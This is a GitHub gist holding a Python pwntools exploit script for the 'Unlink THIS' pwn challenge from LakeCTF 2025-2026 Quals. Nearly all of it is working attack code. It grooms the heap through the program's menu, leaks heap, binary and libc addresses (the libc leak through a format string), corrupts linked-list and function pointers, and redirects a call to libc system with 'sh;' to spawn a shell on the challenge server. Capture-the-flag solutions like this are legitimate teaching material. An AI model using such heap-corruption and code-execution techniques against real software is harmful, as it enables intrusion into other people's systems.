Skip to content

Instantly share code, notes, and snippets.

@nella17
Last active November 29, 2025 18:35
Show Gist options
  • Select an option

  • Save nella17/b039e0ec85c1f49087ea4234a3ae4911 to your computer and use it in GitHub Desktop.

Select an option

Save nella17/b039e0ec85c1f49087ea4234a3ae4911 to your computer and use it in GitHub Desktop.
LakeCTF 2025-2026 Quals - Unlink THIS (pwn)
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF("./unlink-this/unlink", checksec=False)
libc = exe.libc
def add(io, size, data):
io.recvuntil(b"thing\n")
io.sendline(b"1")
io.recvuntil(b"size?\n")
io.sendline(str(size).encode())
io.recvuntil(b"data?\n")
io.send(data)
return int(io.recvline().split()[-1])
def sign(io, sid, extra=False, skip=False):
io.recvuntil(b"thing\n")
io.sendline(b"2")
io.recvuntil(b"id?\n")
io.sendline(str(sid).encode())
if skip:
return
if extra:
extra = io.recvline()
io.recvuntil(b"=============================\n")
data = io.recvuntil(b"\n=============================", drop=True)
io.recvuntil(b"=============================\n")
io.recvuntil(b"\n=============================", drop=True)
if extra:
return extra
return data
def main():
if args.REMOTE:
io = remote("chall.polygl0ts.ch", 6666)
else:
io = process(exe.path)
pause()
line = 8
size = 0x400
size1 = 0x120
size2 = 0x140
c0 = add(io, size, b"0" * line)
c1 = add(io, size, b"1" * line)
c2 = add(io, size, b"2" * line)
c3 = add(io, size, b"3" * line)
c4 = add(io, size, b"4" * line)
c5 = add(io, size, b"5" * line)
c6 = add(io, size, p64(0x148))
sign(io, c4)
sign(io, c3)
# pause()
# head = c0 -> c1 -> c2 -> c5 -> 6= tail | c3 -> c4
payload = b"3" * (size1 + size2) + b"\x88"
c3 = add(io, size, payload)
# info(f"{c1 = :#x}")
# head = c0 -> c1 -> c2 -> c5 -> c5* -> c3 = tail | c4
sign(io, c5)
# head = c0 -> c1 -> c2 -> c6* -> c5x = tail | c5 -> c4
c5 = add(io, size, b"5" * line)
c4 = add(io, size, b"4" * line)
c7 = add(io, size, b"7" * line)
sign(io, c4)
# head = c0 -> c1 -> c2 -> c6* -> c5 -> c7 = tail | c4
leak = sign(io, 2)
# print(hex(len(leak)))
# print(hexdump(leak))
heap_addr = u64(leak[0x120:0x128]) - 0x640
info(f"{heap_addr = :#x}")
crypto_addr = heap_addr - 0x1000
info(f"{crypto_addr = :#x}")
exe.address = u64(leak[0x118:0x120]) - exe.sym.head_next
info(f"{exe.address = :#x}")
# pause()
sign(io, c5)
# head = c0 -> c1 -> c2 -> c7 = tail | c5 -> c6* -> c4
rop = ROP(exe)
ret = rop.ret.address
c5 = add(io, size, b"5" * line)
c6 = add(io, size, b"6" * line)
c4 = add(io, size, b"4" * line)
magic1 = exe.sym.sign + 83
magic1 = exe.sym.sign + 65
magic1 = exe.sym.sign + 114
magic1 = exe.sym.main + 134
magic2 = exe.sym.create + 166
fp_sign = exe.plt.printf
fp_alloc = ret
fp_destroy = ret
fake_crypto = heap_addr + 0xA08
c8 = add(io, size, flat(fp_destroy))
c9 = add(io, size, b"9" * line)
sign(io, c8)
sign(io, c9)
sign(io, c7)
c7 = add(io, size, b"7" * (size1 + 0x18) + p64(fp_alloc))
sign(io, c6)
c6 = add(io, size, b"6" * (size1) + p64(fake_crypto + 8))
sign(io, c6)
sign(io, c7)
c7 = add(io, size, b"7" * line)
c6 = add(io, size, b"6" * line)
c9 = add(io, size, b"9" * line)
sign(io, c6)
# sign(io, c7)
# c7 = add(io, size, b"7" * (size1 + 0x10) + p64(fp_sign))
sign(io, c7)
c7 = add(io, size, b"7" * line)
c6 = add(io, size, b"6" * line)
sign(io, c4)
sign(io, c6)
sign(io, c5)
sign(io, c7)
# c7 = add(io, size, b"7" * line)
c7 = add(io, size, b"7" * (size1 + 0x10) + p64(fp_sign))
# head = c0 -> c1 -> c2 -> c7 = tail | c5 -> c6* -> c4
c5 = add(io, size, b"5" * (size2 + size1 + 8) + p64(fake_crypto))
c6 = add(io, size, b"6" * (size1 - 8) + p64(exe.sym.crypto - 8))
sign(io, c7)
c7 = add(io, size, b"7" * (size1 + 8) + b"%13$p".ljust(8, b"\n") + p64(fp_sign))
leak = sign(io, c7, extra=True)
libc.address = int(leak.strip(), 16) - 0x2A1CA
info(f"{libc.address = :#x}")
c7 = add(
io, size, b"7" * (size1 + 8) + b"sh;".ljust(8, b"\n") + p64(libc.sym.system)
)
sign(io, c7, skip=True)
# c7 = add(io, size, b"7" * (size1) + b"%15$p|\n")
# sign(io, c7)
io.interactive()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment